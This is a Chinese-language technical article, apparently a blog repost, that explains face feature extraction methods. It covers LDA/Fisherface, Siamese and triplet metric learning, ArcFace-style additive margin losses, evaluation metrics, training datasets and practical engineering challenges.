FisherFace是一種基於線性判別分析LDA(全稱Linear  Discriminant Analysis,)的人臉特徵提取算法， LDA和PCA都是利用特徵值排序找到主元的過程。LDA強調的是不同人臉的差異而不是照明條件、人臉表情和方向的變化。所以，Fisherface對人臉光照、人臉姿態變化的影響更不敏感。

 

8 人臉特徵提取-深度學習法

我們再來看看深度學習法。

利用神經網絡學習高度抽象的人臉特徵，然後將特徵表示為特徵向量，通過比較特徵向量之間的歐式距離來判定兩張照片是否是同一個人。

 

9人臉特徵提取-深度學習法

總體思路是把人臉識別人物當分類任務來訓練，通過在損失函數上施加約束，讓相同的人的照片提取的特徵距離盡可能近，不是同一個人的照片的提取的特徵距離盡可能的遠。

第一個Logit的地方輸出的是人臉的特徵向量，一般是128維或者512維，浮點向量。這個Logit前面是CNN分類網絡，這個Logit後面的部分是通過在損失函數上施加約束來訓練模型，讓模型區分相同的人和不同的人，後面的部分只需要在訓練階段計算，推理階段是不需要的。

 

10 人臉特徵提取-Metric Learning

基於深度學習的人臉特徵提取方法主要有兩類，一類Metric Learning，另一個是Additive Margin，這兩類方法的底層原理都是一樣的，就是“通過訓練網絡，讓相同人的特徵距離盡可能近，不同人的特徵距離盡可能的遠”。

孿生網絡和Triplet都屬於 Metric Learning這類方法。左邊孿生網絡顧名思義，就是有兩個網絡，一個網絡訓練讓相同的人之間的距離盡可能的近，另一個網絡讓不同人之間的距離盡可能遠。

右邊Triplet網絡是對孿生網絡的改進，將樣本組織為錨點、正樣本、負樣本的元組，通過訓練網絡讓錨點與正樣本之間的距離盡可能的近，錨點與負樣本之間的距離盡可能的遠，並且至少遠於一個閥值阿爾法。

 

11 人臉特徵提取-Additive Margin

Additive Margin這類方法主要是在分類模型的基礎，通過控制損失函數來達到“讓相同人的特徵距離盡可能近，讓不同人的特徵距離盡可能遠”的目標。

前面介紹的Metric Learning的方法最大的問題在於：需要重新組織樣本，模型最終能否收斂很大程度上取決於採樣是不是合理。基於Additive Margin的方法則不需要這一步，完全將人臉特徵提取當做分類任務來訓練，參數的設置也不需要太多trick，Additive Margin的方法大都是在損失函數上做文章。

最近幾年，這個類方法研究的比較多，上面這個圖中的softmax，Sphereface，Cosface，ArcFace都是Additive Margin方法，可以看出它都是通過改進損失函數，來實現“讓相同人的特徵距離盡可能近，讓不同人的特徵距離盡可能遠”這個目標。

上面這個圖中，顏色相同的點表示一個人，不同的點表示不同的人，這個圖的展示比較形象，可以看出最後一個超球體的效果非常不錯。

Additive Margin正在成為主流， InsightFace也屬於這一類，損失函數正是這個ArcFace。

大家可用思考一下，為什麼分類方法不能直接用於人臉識別？這裏不做詳細討論了。

 

12 人臉特徵提取-效果評估

我們再來看一下怎樣評估人臉特徵提取算法的效果。

主要是通過召回率和虛警率兩個指標來衡量。應用場景不同，這個兩個指標的設置也不同，一般情況下，在實踐中我們都要求在虛警率小於某個值（比如萬分之一）的條件下，召回率達到某個值（比如99%）。很多產品宣稱的識別準確率達到多少多少，很大可能是在公開數據集比如LFW上的測試結果。

公開的訓練數據集比較推薦的有：MS1MV2，這個數據集微軟前段事件已經宣布撤回不再提供下載，這個數據集大概有85000個不同的人的380萬張照片。另一個數據集是GLINT_ASIA，有9萬多人的280萬張照片。

 

13 工程實踐的挑戰及經驗分享

很多人都認為人臉識別應用，算法包打天下，事實並非如此，即使是最好的識別算法也扛不住像圖像質量差。圖像質量差、姿勢變化、面部形狀/紋理隨着時間推移的變化、遮擋這些問題，是我們在工程實踐中面臨的挑戰。

當然，大多數問題工程上我們有應對方法。比如圖像模糊，光照不足，我們可以先檢測圖像是否模糊，關照是否不足，質量不過關，就不把圖像送給識別算法。

再比如，用他人照片或視頻來欺騙人臉識別系統，目前已經有多種活體檢測方法來檢測並防止這種情況。

經過一段時間在人臉識別領域的摸爬滾打，個人認為影響用戶體驗的關鍵因素是識別快、識別准，識別快主要靠產品設計，識別准主要靠算法。

拿人臉門禁來舉個例子，產品設計上可以在前端採集照片的時候過濾掉模糊、無人臉的照片，避免無效識別，同時前端在採集照片的時候，可以同時採集多張併發傳給後台，做併發識別，這些方法都可以大大提升識別通過的速度，提升用戶體驗。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※台北網頁設計公司這麼多，該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

※網頁設計公司推薦更多不同的設計風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整